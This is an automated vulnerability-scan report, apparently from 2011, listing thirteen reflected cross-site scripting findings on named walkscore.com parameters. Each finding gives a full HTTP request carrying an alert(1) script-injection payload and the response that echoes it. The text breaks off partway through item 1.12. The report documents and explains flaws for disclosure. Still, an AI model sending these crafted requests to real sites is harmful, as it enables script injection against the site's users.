XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, walkscore.com

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Report generated by XSS.CX at Tue Aug 23 09:17:10 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

XSS in walkscore.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1.1. http://www.walkscore.com/auth/amenity_map_auth [wsid parameter]

1.2. http://www.walkscore.com/serve-walkscore-tile.php [commute parameter]

1.3. http://www.walkscore.com/serve-walkscore-tile.php [footheight parameter]

1.4. http://www.walkscore.com/serve-walkscore-tile.php [height parameter]

1.5. http://www.walkscore.com/serve-walkscore-tile.php [height parameter]

1.6. http://www.walkscore.com/serve-walkscore-tile.php [lat parameter]

1.7. http://www.walkscore.com/serve-walkscore-tile.php [lng parameter]

1.8. http://www.walkscore.com/serve-walkscore-tile.php [show_reviews parameter]

1.9. http://www.walkscore.com/serve-walkscore-tile.php [transit_score parameter]

1.10. http://www.walkscore.com/serve-walkscore-tile.php [width parameter]

1.11. http://www.walkscore.com/serve-walkscore-tile.php [width parameter]

1.12. http://www.walkscore.com/serve-walkscore-tile.php [wsid parameter]

1.13. http://www.walkscore.com/serve-walkscore-tile.php [wsid parameter]

2. Referer-dependent response

3. Cross-domain Referer leakage

4. Cross-domain script include

5. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 13 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.walkscore.com/auth/amenity_map_auth [wsid parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.walkscore.com
Path:   /auth/amenity_map_auth

Issue detail

The value of the wsid request parameter is copied into the HTML document as plain text between tags. The payload d54fb<script>alert(1)</script>a162869564e was submitted in the wsid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /auth/amenity_map_auth?wsid=28c0b84aee0114bb96148e77f80ba04cd54fb<script>alert(1)</script>a162869564e&domain=realestatecenter.bankofamerica.com HTTP/1.1
Host: www.walkscore.com
Proxy-Connection: keep-alive
Referer: http://www.walkscore.com/serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=429f24f0509f23d1:T=1314108778:S=ALNI_Mb8mr4E7-tCe6Gu6DFoRsh8S48d_A; __qca=P0-241804802-1314108906655; __utma=107533060.188617499.1314108902.1314108902.1314108902.1; __utmb=107533060.2.9.1314108906658; __utmc=107533060; __utmz=107533060.1314108907.1.1.utmcsr=realestatecenter.bankofamerica.com|utmccn=(referral)|utmcmd=referral|utmcct=/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup

Response

HTTP/1.1 200 OK
Cache-Control: max-age=20, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Tue, 23 Aug 2011 14:14:38 GMT
Server: Apache/2.2.16 (Ubuntu)
Vary: Accept-Encoding
X-Pad: avoid browser bug
Content-Length: 99
Connection: keep-alive

{"status": 30, "wsid": "28c0b84aee0114bb96148e77f80ba04cd54fb<script>alert(1)</script>a162869564e"}

1.2. http://www.walkscore.com/serve-walkscore-tile.php [commute parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.walkscore.com
Path:   /serve-walkscore-tile.php

Issue detail

The value of the commute request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4b4c6</script><script>alert(1)</script>4acce3aa7fa was submitted in the commute parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false4b4c6</script><script>alert(1)</script>4acce3aa7fa&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1
Host: www.walkscore.com
Proxy-Connection: keep-alive
Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html
Date: Tue, 23 Aug 2011 14:13:02 GMT
Server: Apache/2.2.16 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.3-1ubuntu9.5
Content-Length: 16018
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javasc
...[SNIP]...
""], ["transit_score", "", ""], ["public_transit", "1", ""], ["no_link_description", "1", ""], ["no_link_info_bubbles", "1", ""] ];
   var ws_free_parameters = [ ["map_zoom", "", ""], ["commute", "false4b4c6</script><script>alert(1)</script>4acce3aa7fa", ""], ["commute_address", "", ""], ["disable_street_view", "", ""], ["map_modules", "", "default"], ["default_view", "", "default"], ["base_map", "", "google_map"], ["amenity_profile", "", "walkscore
...[SNIP]...

1.3. http://www.walkscore.com/serve-walkscore-tile.php [footheight parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.walkscore.com
Path:   /serve-walkscore-tile.php

Issue detail

The value of the footheight request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 4cd46%3balert(1)//1c08d5aaf83 was submitted in the footheight parameter. This input was echoed as 4cd46;alert(1)//1c08d5aaf83 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=184cd46%3balert(1)//1c08d5aaf83 HTTP/1.1
Host: www.walkscore.com
Proxy-Connection: keep-alive
Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html
Date: Tue, 23 Aug 2011 14:11:18 GMT
Server: Apache/2.2.16 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.3-1ubuntu9.4
Content-Length: 15990
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javasc
...[SNIP]...
= 'realestatecenter.bankofamerica.com';
   var width = 583;
   var height = 268;
   var results_w = 239;
   var results_h = 268;
   var commute_results_w = 236;
   var commute_results_h = 198;
   var footheight = 184cd46;alert(1)//1c08d5aaf83;
   var layout = 'h';
   var menuItemSize = 'one-line';
   var menuItemsHeight = 227;
   var itemHeight = 26;
   var showSearchNearby = true;
   var removeMoreAmenitiesLink = true; // To start with, at least;
   va
...[SNIP]...

1.4. http://www.walkscore.com/serve-walkscore-tile.php [height parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.walkscore.com
Path:   /serve-walkscore-tile.php

Issue detail

The value of the height request parameter is copied into the HTML document as plain text between tags. The payload 6a386<script>alert(1)</script>9fb5439510c was submitted in the height parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=2686a386<script>alert(1)</script>9fb5439510c&footheight=18 HTTP/1.1
Host: www.walkscore.com
Proxy-Connection: keep-alive
Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html
Date: Tue, 23 Aug 2011 14:11:16 GMT
Server: Apache/2.2.16 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.3-1ubuntu9.4
Content-Length: 16217
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javasc
...[SNIP]...
   height: 2656px;
}

#pano-popup-message {
   width: 202px;    
}

#splash {
   position : absolute;
   top : 0px;
   left : 0px;
   width : 583px;
   height : 2686a386<script>alert(1)</script>9fb5439510cpx;
   background-color : #fff;
   z-index : 100000;
}

#powered-by {
   position : absolute;
   left : 0px;
   padding-left : 10px;
   top : 2686px;
   width
...[SNIP]...

1.5. http://www.walkscore.com/serve-walkscore-tile.php [height parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.walkscore.com
Path:   /serve-walkscore-tile.php

Issue detail

The value of the height request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 232a4%3balert(1)//042d573abb1 was submitted in the height parameter. This input was echoed as 232a4;alert(1)//042d573abb1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268232a4%3balert(1)//042d573abb1&footheight=18 HTTP/1.1
Host: www.walkscore.com
Proxy-Connection: keep-alive
Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html
Date: Tue, 23 Aug 2011 14:11:13 GMT
Server: Apache/2.2.16 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.3-1ubuntu9.4
Content-Length: 16149
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javasc
...[SNIP]...
pt type='text/javascript'>
   var url_street = "";

   var ws_auth_wsid = '28c0b84aee0114bb96148e77f80ba04c';
   var ws_auth_domain = 'realestatecenter.bankofamerica.com';
   var width = 583;
   var height = 268232a4;alert(1)//042d573abb1;
   var results_w = 239;
   var results_h = 268232a4;alert(1)//042d573abb1;
   var commute_results_w = 236;
   var commute_results_h = 268162;
   var footheight = 18;
   var layout = 'h';
   var menuItemSize = 'two
...[SNIP]...

1.6. http://www.walkscore.com/serve-walkscore-tile.php [lat parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.walkscore.com
Path:   /serve-walkscore-tile.php

Issue detail

The value of the lat request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 8fb83'><script>alert(1)</script>7745fe59b07 was submitted in the lat parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.947778fb83'><script>alert(1)</script>7745fe59b07&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1
Host: www.walkscore.com
Proxy-Connection: keep-alive
Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html
Date: Tue, 23 Aug 2011 14:12:20 GMT
Server: Apache/2.2.16 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.3-1ubuntu9.5
Content-Length: 16049
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javasc
...[SNIP]...
<a href='/score/loc/lat=37.947778fb83'><script>alert(1)</script>7745fe59b07/lng=-122.31829/?utm_source=bankofamerica.com&utm_medium=map_link&utm_campaign=ws_tile' target='_blank'>
...[SNIP]...

1.7. http://www.walkscore.com/serve-walkscore-tile.php [lng parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.walkscore.com
Path:   /serve-walkscore-tile.php

Issue detail

The value of the lng request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 84118'><script>alert(1)</script>636284d9970 was submitted in the lng parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.3182984118'><script>alert(1)</script>636284d9970&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1
Host: www.walkscore.com
Proxy-Connection: keep-alive
Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html
Date: Tue, 23 Aug 2011 14:12:23 GMT
Server: Apache/2.2.16 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.3-1ubuntu9.5
Content-Length: 16049
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javasc
...[SNIP]...
<a href='/score/loc/lat=37.94777/lng=-122.3182984118'><script>alert(1)</script>636284d9970/?utm_source=bankofamerica.com&utm_medium=map_link&utm_campaign=ws_tile' target='_blank'>
...[SNIP]...

1.8. http://www.walkscore.com/serve-walkscore-tile.php [show_reviews parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.walkscore.com
Path:   /serve-walkscore-tile.php

Issue detail

The value of the show_reviews request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3a19d</script><script>alert(1)</script>a770a0ab8e0 was submitted in the show_reviews parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false3a19d</script><script>alert(1)</script>a770a0ab8e0&no_link_description=false&height=268&footheight=18 HTTP/1.1
Host: www.walkscore.com
Proxy-Connection: keep-alive
Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html
Date: Tue, 23 Aug 2011 14:13:18 GMT
Server: Apache/2.2.16 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.3-1ubuntu9.5
Content-Length: 16018
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javasc
...[SNIP]...
r hide_scores_below = 0;
   var nolink_bubbles = true; // To start with, at least;
   var tileDomain = 'bankofamerica.com';

   var ws_paid_parameters = [ ["hide_bigger_map", "", ""], ["show_reviews", "false3a19d</script><script>alert(1)</script>a770a0ab8e0", ""], ["custom_pin", "", ""], ["transit_score", "", ""], ["public_transit", "1", ""], ["no_link_description", "1", ""], ["no_link_info_bubbles", "1", ""] ];
   var ws_free_parameters = [ ["map_zoom", "
...[SNIP]...

1.9. http://www.walkscore.com/serve-walkscore-tile.php [transit_score parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.walkscore.com
Path:   /serve-walkscore-tile.php

Issue detail

The value of the transit_score request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload afb17</script><script>alert(1)</script>ac5e08d9d1e was submitted in the transit_score parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583&layout=horizontal&transit_score=falseafb17</script><script>alert(1)</script>ac5e08d9d1e&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1
Host: www.walkscore.com
Proxy-Connection: keep-alive
Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html
Date: Tue, 23 Aug 2011 14:12:46 GMT
Server: Apache/2.2.16 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.3-1ubuntu9.5
Content-Length: 16018
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javasc
...[SNIP]...
; // To start with, at least;
   var tileDomain = 'bankofamerica.com';

   var ws_paid_parameters = [ ["hide_bigger_map", "", ""], ["show_reviews", "", ""], ["custom_pin", "", ""], ["transit_score", "falseafb17</script><script>alert(1)</script>ac5e08d9d1e", ""], ["public_transit", "1", ""], ["no_link_description", "1", ""], ["no_link_info_bubbles", "1", ""] ];
   var ws_free_parameters = [ ["map_zoom", "", ""], ["commute", "", ""], ["commute_address", ""
...[SNIP]...

1.10. http://www.walkscore.com/serve-walkscore-tile.php [width parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.walkscore.com
Path:   /serve-walkscore-tile.php

Issue detail

The value of the width request parameter is copied into the HTML document as plain text between tags. The payload dd5c8<script>alert(1)</script>79e1750c645 was submitted in the width parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=583dd5c8<script>alert(1)</script>79e1750c645&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1
Host: www.walkscore.com
Proxy-Connection: keep-alive
Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html
Date: Tue, 23 Aug 2011 14:12:29 GMT
Server: Apache/2.2.16 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.3-1ubuntu9.5
Content-Length: 16127
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javasc
...[SNIP]...
<style type="text/css">
a, a:link {
   color: #b14900;
}
a:hover {
   color: #777;
}

#tile-container {
   width: 583dd5c8<script>alert(1)</script>79e1750c645px;
   overflow:hidden;
   position:relative;
   
}

.header {
   width: 100%;
   position: absolute;
   top: 0px;
   left: 0px;
   height: 41px;
   overflow: visible;
}
#out-of-100 {
   font-size: 9px;
   line-height: 12p
...[SNIP]...

1.11. http://www.walkscore.com/serve-walkscore-tile.php [width parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.walkscore.com
Path:   /serve-walkscore-tile.php

Issue detail

The value of the width request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 3d2d3%3balert(1)//301aa5a88c2 was submitted in the width parameter. This input was echoed as 3d2d3;alert(1)//301aa5a88c2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /serve-walkscore-tile.php?wsid=28c0b84aee0114bb96148e77f80ba04c&lat=37.94777&lng=-122.31829&width=5833d2d3%3balert(1)//301aa5a88c2&layout=horizontal&transit_score=false&public_transit=false&commute=false&show_reviews=false&no_link_description=false&height=268&footheight=18 HTTP/1.1
Host: www.walkscore.com
Proxy-Connection: keep-alive
Referer: http://realestatecenter.bankofamerica.com/CA/Richmond/94805/homes-for-sale/6041-Monterey-Avenue-62936787/popup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html
Date: Tue, 23 Aug 2011 14:10:19 GMT
Server: Apache/2.2.16 (Ubuntu)
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.3-1ubuntu9.4
Content-Length: 16077
Connection: keep-alive


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javasc
...[SNIP]...
<script type='text/javascript'>
   var url_street = "";

   var ws_auth_wsid = '28c0b84aee0114bb96148e77f80ba04c';
   var ws_auth_domain = 'realestatecenter.bankofamerica.com';
   var width = 5833d2d3;alert(1)//301aa5a88c2;
   var height = 268;
   var results_w = 239;
   var results_h = 268;
   var commute_results_w = 236;
   var commute_results_h = 198;
   var footheight = 18;
   var layout = 'h';
   var menuItemSize = 'one-line';
   va
...[SNIP]...

1.12. http://www.walkscore.com/serve-walkscore-tile.php [wsid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.walkscore.com
Path:   /serve-walkscore-tile.php

Issue detail

The value of the wsid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 35bee'%3balert(1)//21d344fbfb2 was submitted in the wsid parameter. This input was echoed as 35bee';alert(1)//21d344fbfb2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

